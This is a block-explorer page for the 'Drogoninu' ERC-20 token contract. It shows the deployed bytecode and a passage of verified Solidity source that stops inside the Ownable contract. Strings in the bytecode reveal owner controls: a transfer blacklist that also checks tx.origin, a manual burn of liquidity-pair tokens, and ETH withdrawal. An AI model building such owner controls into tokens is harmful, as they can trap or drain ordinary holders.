Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x436Edd10BE0D95572FD75C3205c7A2d7448E9Edc
Balance 0.001491 ETH
Nonce 1
Code Size 13244 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

13244 bytes
0x6080604052600436106103e85760003560e01c80638da5cb5b11610208578063c7ff080511610118578063ee40166e116100ab578063f2fde38b1161007a578063f2fde38b14610b57578063f5648a4f14610b77578063f637434214610b8c578063f8b45b0514610ba2578063f9f4e42414610bb857600080fd5b8063ee40166e14610af5578063ee9623b914610b0b578063ef4f3c6b14610b21578063f11a24d314610b4157600080fd5b8063d28d8852116100e7578063d28d885214610a6e578063dd62ed3e14610a83578063e2f4560514610ac9578063e513e45a14610adf57600080fd5b8063c7ff080514610a08578063c876d0b914610a1e578063cf46f24c14610a38578063d0bc827f14610a4e57600080fd5b8063a0a2ccd91161019b578063b09f12661161016a578063b09f126614610969578063b62496f51461097e578063bbc0c742146109ae578063c0246668146109c8578063c480b4c6146109e857600080fd5b8063a0a2ccd9146108fd578063a0d82dc514610913578063a457c2d714610929578063a9059cbb1461094957600080fd5b806395d89b41116101d757806395d89b411461089c5780639a7a23d6146108b15780639c3b4fdc146108d15780639fccce32146108e757600080fd5b80638da5cb5b146108285780638ea5220f146108465780639213691314610866578063924de9b71461087c57600080fd5b806351f205e411610303578063715018a6116102965780637bce5a04116102655780637bce5a041461079c57806383722039146107b2578063866d7dfd146107d257806387de3743146107f25780638a0de19f1461081257600080fd5b8063715018a6146107315780637571336a1461074657806375f0a87414610766578063764c4ce51461078657600080fd5b80635f559fba116102d25780635f559fba1461069c57806364cc78a0146106cc5780636ddd1713146106e157806370a08231146106fb57600080fd5b806351f205e41461062d578063522ca91a1461064257806353674ba614610662578063551b4ea61461068257600080fd5b806327c8f8351161037b5780633bbac5791161034a5780633bbac5791461057b5780633fd16d13146105b4578063452ed4f1146105d45780634fbee193146105f457600080fd5b806327c8f83514610509578063313ce5671461051f57806331dbc9321461053b578063395093511461055b57600080fd5b80631a8145bb116103b75780631a8145bb146104a65780631d97b7cd146104bc5780631f3fed8f146104d357806323b872dd146104e957600080fd5b806306fdde03146103f45780630758d9241461041f578063095ea7b31461045757806318160ddd1461048757600080fd5b366103ef57005b600080fd5b34801561040057600080fd5b50610409610bce565b6040516104169190612ded565b60405180910390f35b34801561042b57600080fd5b5060065461043f906001600160a01b031681565b6040516001600160a01b039091168152602001610416565b34801561046357600080fd5b50610477610472366004612e65565b610c60565b6040519015158152602001610416565b34801561049357600080fd5b506002545b604051908152602001610416565b3480156104b257600080fd5b5061049860245481565b3480156104c857600080fd5b506104d1610c76565b005b3480156104df57600080fd5b5061049860235481565b3480156104f557600080fd5b50610477610504366004612e91565b610d38565b34801561051557600080fd5b5061043f61dead81565b34801561052b57600080fd5b5060405160128152602001610416565b34801561054757600080fd5b506104d1610556366004612ed2565b610de2565b34801561056757600080fd5b50610477610576366004612e65565b610fe6565b34801561058757600080fd5b50610477610596366004612eeb565b6001600160a01b031660009081526029602052604090205460ff1690565b3480156105c057600080fd5b50600b5461043f906001600160a01b031681565b3480156105e057600080fd5b5060075461043f906001600160a01b031681565b34801561060057600080fd5b5061047761060f366004612eeb565b6001600160a01b031660009081526026602052604090205460ff1690565b34801561063957600080fd5b506104d1611022565b34801561064e57600080fd5b506104d161065d366004612f0f565b611132565b34801561066e57600080fd5b5061047761067d366004612ed2565b6111d1565b34801561068e57600080fd5b506010546104779060ff1681565b3480156106a857600080fd5b506104776106b7366004612eeb565b60276020526000908152604090205460ff1681565b3480156106d857600080fd5b506104d1611299565b3480156106ed57600080fd5b506018546104779060ff1681565b34801561070757600080fd5b50610498610716366004612eeb565b6001600160a01b031660009081526020819052604090205490565b34801561073d57600080fd5b506104d16112cf565b34801561075257600080fd5b506104d1610761366004612f41565b611343565b34801561077257600080fd5b5060085461043f906001600160a01b031681565b34801561079257600080fd5b5061049860135481565b3480156107a857600080fd5b50610498601c5481565b3480156107be57600080fd5b506104d16107cd366004612f0f565b611398565b3480156107de57600080fd5b506104d16107ed366004612f8c565b611437565b3480156107fe57600080fd5b506104d161080d366004612ed2565b61154b565b34801561081e57600080fd5b5061049860125481565b34801561083457600080fd5b506005546001600160a01b031661043f565b34801561085257600080fd5b5060095461043f906001600160a01b031681565b34801561087257600080fd5b5061049860205481565b34801561088857600080fd5b506104d1610897366004613063565b61161e565b3480156108a857600080fd5b5061040961165b565b3480156108bd57600080fd5b506104d16108cc366004612f41565b61166a565b3480156108dd57600080fd5b50610498601e5481565b3480156108f357600080fd5b5061049860255481565b34801561090957600080fd5b50610498601b5481565b34801561091f57600080fd5b5061049860225481565b34801561093557600080fd5b50610477610944366004612e65565b611740565b34801561095557600080fd5b50610477610964366004612e65565b6117d9565b34801561097557600080fd5b506104096117e6565b34801561098a57600080fd5b50610477610999366004612eeb565b60286020526000908152604090205460ff1681565b3480156109ba57600080fd5b506015546104779060ff1681565b3480156109d457600080fd5b506104d16109e3366004612f41565b611874565b3480156109f457600080fd5b50600a5461043f906001600160a01b031681565b348015610a1457600080fd5b5061049860115481565b348015610a2a57600080fd5b50601a546104779060ff1681565b348015610a4457600080fd5b50610498600c5481565b348015610a5a57600080fd5b506104d1610a6936600461307e565b6118c9565b348015610a7a57600080fd5b50610409611932565b348015610a8f57600080fd5b50610498610a9e3660046130c9565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610ad557600080fd5b50610498600d5481565b348015610aeb57600080fd5b50610498600f5481565b348015610b0157600080fd5b5061049860175481565b348015610b1757600080fd5b5061049860145481565b348015610b2d57600080fd5b506104d1610b3c366004612ed2565b61193f565b348015610b4d57600080fd5b50610498601d5481565b348015610b6357600080fd5b506104d1610b72366004612eeb565b611a16565b348015610b8357600080fd5b506104d1611b01565b348015610b9857600080fd5b5061049860215481565b348015610bae57600080fd5b50610498600e5481565b348015610bc457600080fd5b50610498601f5481565b606060038054610bdd90613102565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0990613102565b8015610c565780601f10610c2b57610100808354040283529160200191610c56565b820191906000526020600020905b815481529060010190602001808311610c3957829003601f168201915b5050505050905090565b6000610c6d338484611bdf565b50600192915050565b6005546001600160a01b03163314610ca95760405162461bcd60e51b8152600401610ca09061313d565b60405180910390fd5b60155460ff1615610d105760405162461bcd60e51b815260206004820152602b60248201527f54726164696e6720697320616c7265616479206163746976652c2063616e6e6f60448201526a3a103932b630bab731b41760a91b6064820152608401610ca0565b60158054600160ff199182168117909255601880549091169091179055436017556000601655565b6000610d45848484611d03565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610dca5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610ca0565b610dd78533858403611bdf565b506001949350505050565b6005546001600160a01b03163314610e0c5760405162461bcd60e51b8152600401610ca09061313d565b601354601454610e1c9190613188565b4211610e6a5760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610ca0565b6103e8811115610ecf5760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610ca0565b426014556007546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a0823190602401602060405180830381865afa158015610f1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4291906131a0565b90506000612710610f5384846131b9565b610f5d91906131d8565b90508015610f7e57600754610f7e906001600160a01b031661dead836126cf565b6007546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b158015610fc857600080fd5b505af1158015610fdc573d6000803e3d6000fd5b5050505050505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610c6d91859061101d908690613188565b611bdf565b6005546001600160a01b0316331461104c5760405162461bcd60e51b8152600401610ca09061313d565b600d543060009081526020819052604090205410156110d5576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610ca0565b6007805460ff60a01b1916600160a01b1790556110f0612824565b6007805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b6005546001600160a01b0316331461115c5760405162461bcd60e51b8152600401610ca09061313d565b601e6111688284613188565b11156111b65760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b6565702066656573206c6f776572207468616e203330250000006044820152606401610ca0565b601c829055601d8190556111ca8183613188565b601b555050565b6005546000906001600160a01b031633146111fe5760405162461bcd60e51b8152600401610ca09061313d565b6103e861120a60025490565b6112159060056131b9565b61121f91906131d8565b82111561128b5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610ca0565b50600d81905560015b919050565b6005546001600160a01b031633146112c35760405162461bcd60e51b8152600401610ca09061313d565b601a805460ff19169055565b6005546001600160a01b031633146112f95760405162461bcd60e51b8152600401610ca09061313d565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b0316331461136d5760405162461bcd60e51b8152600401610ca09061313d565b6001600160a01b03919091166000908152602760205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146113c25760405162461bcd60e51b8152600401610ca09061313d565b601e6113ce8284613188565b111561141c5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b6565702066656573206c6f776572207468616e203330250000006044820152606401610ca0565b602082905560218190556114308183613188565b601f555050565b6005546001600160a01b031633146114615760405162461bcd60e51b8152600401610ca09061313d565b60005b82518110156115465760075483516001600160a01b0390911690849083908110611490576114906131fa565b60200260200101516001600160a01b0316141580156114da5750306001600160a01b03168382815181106114c6576114c66131fa565b60200260200101516001600160a01b031614155b156115365781602960008584815181106114f6576114f66131fa565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b61153f81613210565b9050611464565b505050565b6005546001600160a01b031633146115755760405162461bcd60e51b8152600401610ca09061313d565b60058110156115d25760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610ca0565b670de0b6b3a76400006103e8826115e860025490565b6115f291906131b9565b6115fc91906131d8565b61160691906131d8565b61161890670de0b6b3a76400006131b9565b600e5550565b6005546001600160a01b031633146116485760405162461bcd60e51b8152600401610ca09061313d565b6018805460ff1916911515919091179055565b606060048054610bdd90613102565b6005546001600160a01b031633146116945760405162461bcd60e51b8152600401610ca09061313d565b6007546001600160a01b03838116911614156117185760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610ca0565b6001600160a01b0382166000908152602860205260409020805460ff19168215151790555050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156117c25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610ca0565b6117cf3385858403611bdf565b5060019392505050565b6000610c6d338484611d03565b600480546117f390613102565b80601f016020809104026020016040519081016040528092919081815260200182805461181f90613102565b801561186c5780601f106118415761010080835404028352916020019161186c565b820191906000526020600020905b81548152906001019060200180831161184f57829003601f168201915b505050505081565b6005546001600160a01b0316331461189e5760405162461bcd60e51b8152600401610ca09061313d565b6001600160a01b03919091166000908152602660205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146118f35760405162461bcd60e51b8152600401610ca09061313d565b600880546001600160a01b039485166001600160a01b031991821617909155600b80549385169382169390931790925560098054919093169116179055565b600380546117f390613102565b6005546001600160a01b031633146119695760405162461bcd60e51b8152600401610ca09061313d565b60058110156119ca5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f7420736574206d617854786e416d6f756e74206c6f776572207468604482015266616e20302e352560c81b6064820152608401610ca0565b670de0b6b3a76400006103e8826119e060025490565b6119ea91906131b9565b6119f491906131d8565b6119fe91906131d8565b611a1090670de0b6b3a76400006131b9565b600c5550565b6005546001600160a01b03163314611a405760405162461bcd60e51b8152600401610ca09061313d565b6001600160a01b038116611aa55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ca0565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611b2b5760405162461bcd60e51b8152600401610ca09061313d565b60155460ff1615611b925760405162461bcd60e51b815260206004820152602b60248201527f43616e206f6e6c792077697468647261772069662074726164696e672068617360448201526a1b89dd081cdd185c9d195960aa1b6064820152608401610ca0565b604051600090339047908381818185875af1925050503d8060008114611bd4576040519150601f19603f3d011682016040523d82523d6000602084013e611bd9565b606091505b50505050565b6001600160a01b038316611c415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ca0565b6001600160a01b038216611ca25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ca0565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611d295760405162461bcd60e51b8152600401610ca09061322b565b6001600160a01b038216611d4f5760405162461bcd60e51b8152600401610ca090613270565b6001600160a01b03821660009081526029602052604090205460ff1615611db25760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610ca0565b3260009081526029602052604090205460ff1615611e0c5760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610ca0565b80611e1d57611546838360006126cf565b60155460ff16611eab576001600160a01b03831660009081526026602052604090205460ff1680611e6657506001600160a01b03821660009081526026602052604090205460ff165b611eab5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610ca0565b6005546001600160a01b03848116911614801590611ed757506005546001600160a01b03838116911614155b8015611eeb57506001600160a01b03821615155b8015611f0257506001600160a01b03821661dead14155b8015611f185750600754600160a01b900460ff16155b8015611f3d57506001600160a01b03821660009081526026602052604090205460ff16155b8015611f6257506001600160a01b03831660009081526026602052604090205460ff16155b156122d157601a5460ff161561207b576006546001600160a01b03838116911614801590611f9e57506007546001600160a01b03838116911614155b1561207b57611fae6001436132b3565b32600090815260196020526040902054108015611fec5750611fd16001436132b3565b6001600160a01b038316600090815260196020526040902054105b6120565760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b6064820152608401610ca0565b3260009081526019602052604080822043908190556001600160a01b03851683529120555b6001600160a01b03831660009081526028602052604090205460ff1680156120bc57506001600160a01b03821660009081526027602052604090205460ff16155b1561219857600c548111156121295760405162461bcd60e51b815260206004820152602d60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526c36b0bc2a3c3720b6b7bab73a1760991b6064820152608401610ca0565b600e546001600160a01b03831660009081526020819052604090205461214f9083613188565b11156121935760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ca0565b6122d1565b6001600160a01b03821660009081526028602052604090205460ff1680156121d957506001600160a01b03831660009081526027602052604090205460ff16155b1561224757600c548111156121935760405162461bcd60e51b815260206004820152602e60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526d1036b0bc2a3c3720b6b7bab73a1760911b6064820152608401610ca0565b6001600160a01b03821660009081526027602052604090205460ff166122d157600e546001600160a01b03831660009081526020819052604090205461228d9083613188565b11156122d15760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ca0565b30600090815260208190526040902054600d54811080159081906122f7575060185460ff165b801561230d5750600754600160a01b900460ff16155b801561233257506001600160a01b03851660009081526028602052604090205460ff16155b801561235757506001600160a01b03851660009081526026602052604090205460ff16155b801561237c57506001600160a01b03841660009081526026602052604090205460ff16155b156123aa576007805460ff60a01b1916600160a01b17905561239c612824565b6007805460ff60a01b191690555b600754600160a01b900460ff161580156123dc57506001600160a01b03841660009081526028602052604090205460ff165b80156123ea575060105460ff165b801561240557506011546012546124019190613188565b4210155b801561242a57506001600160a01b03851660009081526026602052604090205460ff16155b1561243757612437612a8c565b6007546001600160a01b03861660009081526026602052604090205460ff600160a01b90920482161591168061248557506001600160a01b03851660009081526026602052604090205460ff165b1561248e575060005b600081156126bb576016546124a390436132b3565b601754101580156124cc57506001600160a01b03871660009081526028602052604090205460ff165b156125815760646124de8660636131b9565b6124e891906131d8565b9050601f54602154826124fb91906131b9565b61250591906131d8565b602460008282546125169190613188565b9091555050601f5460205461252b90836131b9565b61253591906131d8565b602360008282546125469190613188565b9091555050601f5460225461255b90836131b9565b61256591906131d8565b602560008282546125769190613188565b9091555061269d9050565b6001600160a01b03861660009081526028602052604090205460ff1680156125ab57506000601f54115b156125c0576064601f54866124de91906131b9565b6001600160a01b03871660009081526028602052604090205460ff1680156125ea57506000601b54115b1561269d576064601b54866125ff91906131b9565b61260991906131d8565b9050601b54601d548261261c91906131b9565b61262691906131d8565b602460008282546126379190613188565b9091555050601b54601c5461264c90836131b9565b61265691906131d8565b602360008282546126679190613188565b9091555050601b54601e5461267c90836131b9565b61268691906131d8565b602560008282546126979190613188565b90915550505b80156126ae576126ae8730836126cf565b6126b881866132b3565b94505b6126c68787876126cf565b50505050505050565b6001600160a01b0383166126f55760405162461bcd60e51b8152600401610ca09061322b565b6001600160a01b03821661271b5760405162461bcd60e51b8152600401610ca090613270565b6001600160a01b038316600090815260208190526040902054818110156127935760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610ca0565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906127ca908490613188565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161281691815260200190565b60405180910390a350505050565b306000908152602081905260408120549050600060255460235460245461284b9190613188565b6128559190613188565b90506000821580612864575081155b1561286e57505050565b600d5461287c9060146131b9565b83111561289457600d546128919060146131b9565b92505b6000600283602454866128a791906131b9565b6128b191906131d8565b6128bb91906131d8565b905060006128c982866132b3565b9050476128d582612bdf565b60006128e182476132b3565b9050600060026024546128f491906131d8565b6128fe90886132b3565b60235461290b90846131b9565b61291591906131d8565b90506000600260245461292891906131d8565b61293290896132b3565b60255461293f90856131b9565b61294991906131d8565b905060008161295884866132b3565b61296291906132b3565b60006024819055602381905560258190556009546040519293506001600160a01b031691849181818185875af1925050503d80600081146129bf576040519150601f19603f3d011682016040523d82523d6000602084013e6129c4565b606091505b50506008546040519199506001600160a01b0316908490600081818185875af1925050503d8060008114612a14576040519150601f19603f3d011682016040523d82523d6000602084013e612a19565b606091505b50909850508615801590612a2d5750600081115b15612a8057612a3c8782612d39565b602454604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b50505050505050505050565b426012556007546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a0823190602401602060405180830381865afa158015612adb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612aff91906131a0565b90506000612710600f5483612b1491906131b9565b612b1e91906131d8565b90508015612b3f57600754612b3f906001600160a01b031661dead836126cf565b6007546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b158015612b8957600080fd5b505af1158015612b9d573d6000803e3d6000fd5b505050507f6f57447c7d0d492231a83fb5442fa4aab5203af719a9a9ebf5f93ff4dfaa168682604051612bd291815260200190565b60405180910390a1505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612c1457612c146131fa565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612c6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c9191906132ca565b81600181518110612ca457612ca46131fa565b6001600160a01b039283166020918202929092010152600654612cca9130911684611bdf565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790612d039085906000908690309042906004016132e7565b600060405180830381600087803b158015612d1d57600080fd5b505af1158015612d31573d6000803e3d6000fd5b505050505050565b600654612d519030906001600160a01b031684611bdf565b600654600b5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015612dc1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612de69190613358565b5050505050565b600060208083528351808285015260005b81811015612e1a57858101830151858201604001528201612dfe565b81811115612e2c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612e5757600080fd5b50565b803561129481612e42565b60008060408385031215612e7857600080fd5b8235612e8381612e42565b946020939093013593505050565b600080600060608486031215612ea657600080fd5b8335612eb181612e42565b92506020840135612ec181612e42565b929592945050506040919091013590565b600060208284031215612ee457600080fd5b5035919050565b600060208284031215612efd57600080fd5b8135612f0881612e42565b9392505050565b60008060408385031215612f2257600080fd5b50508035926020909101359150565b8035801515811461129457600080fd5b60008060408385031215612f5457600080fd5b8235612f5f81612e42565b9150612f6d60208401612f31565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215612f9f57600080fd5b823567ffffffffffffffff80821115612fb757600080fd5b818501915085601f830112612fcb57600080fd5b8135602082821115612fdf57612fdf612f76565b8160051b604051601f19603f8301168101818110868211171561300457613004612f76565b60405292835281830193508481018201928984111561302257600080fd5b948201945b838610156130475761303886612e5a565b85529482019493820193613027565b96506130569050878201612f31565b9450505050509250929050565b60006020828403121561307557600080fd5b612f0882612f31565b60008060006060848603121561309357600080fd5b833561309e81612e42565b925060208401356130ae81612e42565b915060408401356130be81612e42565b809150509250925092565b600080604083850312156130dc57600080fd5b82356130e781612e42565b915060208301356130f781612e42565b809150509250929050565b600181811c9082168061311657607f821691505b6020821081141561313757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000821982111561319b5761319b613172565b500190565b6000602082840312156131b257600080fd5b5051919050565b60008160001904831182151516156131d3576131d3613172565b500290565b6000826131f557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060001982141561322457613224613172565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000828210156132c5576132c5613172565b500390565b6000602082840312156132dc57600080fd5b8151612f0881612e42565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156133375784516001600160a01b031683529383019391830191600101613312565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561336d57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220be73c2231e41fc829631b19545ca355b825e84cb9d345d57261b912aede5125164736f6c634300080c0033

Verified Source Code Partial Match

Compiler: v0.8.12+commit.f00d7308 EVM: london Optimization: Yes (200 runs)
Drogoninu.sol 799 lines
/**
 *Submitted for verification at Etherscan.io on 2023-01-14
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;


// TG: https://t.me/drogoninu
// 

// 
// 

// 
// 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IDexPair {
    function sync() external;
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string public _name;
    string public _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
